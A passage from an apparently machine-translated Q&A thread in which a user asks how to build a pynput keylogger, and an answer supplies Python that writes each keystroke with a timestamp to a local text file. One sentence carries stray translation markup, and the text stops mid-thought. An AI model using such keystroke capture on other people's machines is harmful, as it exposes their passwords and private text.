使用 Pynput 构建键盘记录器(将其保存到记事本)

Building a key logger with Pynput (saving it to notepad)

正在尝试使用 pynput 构建键盘记录器。

查看 Here,一切正常但不是我想要的,我想在程序 运行.[=13 的同时将输出保存到文本文件=]

我试过 sys.stdout 但它只是将其保存到 LogTXT.txt 文件中。

无论如何,这是代码:

from pynput.keyboard import Key, Listener

import os

import atexit

import sys

file = os.open(r"C:\Users\USERNAME\Desktop\LogTXT.txt",  os.O_RDWR|os.O_CREAT )

def on_press(key):
    print('{0} pressed'.format(
        key))

def on_release(key):
    print('{0} release'.format(
        key))
    if key == Key.esc:
        # Stop listener
        return False

# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
    sys.stdout = file 

尝试使用另一种方式来代替 stdout,将其视为另一种方式:

from pynput.keyboard import Key, Listener
import time

fp = open(r"LogTXT_{}.txt".format(time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())),"w") # open the file

def on_press(key):
    print('{0} pressed'.format(key))
    fp.write('{} pressed at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime()))) # write it.

def on_release(key):
    print('{0} release'.format(key))
    fp.write('{} release at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())))
    if key == Key.esc:
        fp.write("End Press") # press esc.Exit the script
        fp.close()
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

文件中的一些输出示例: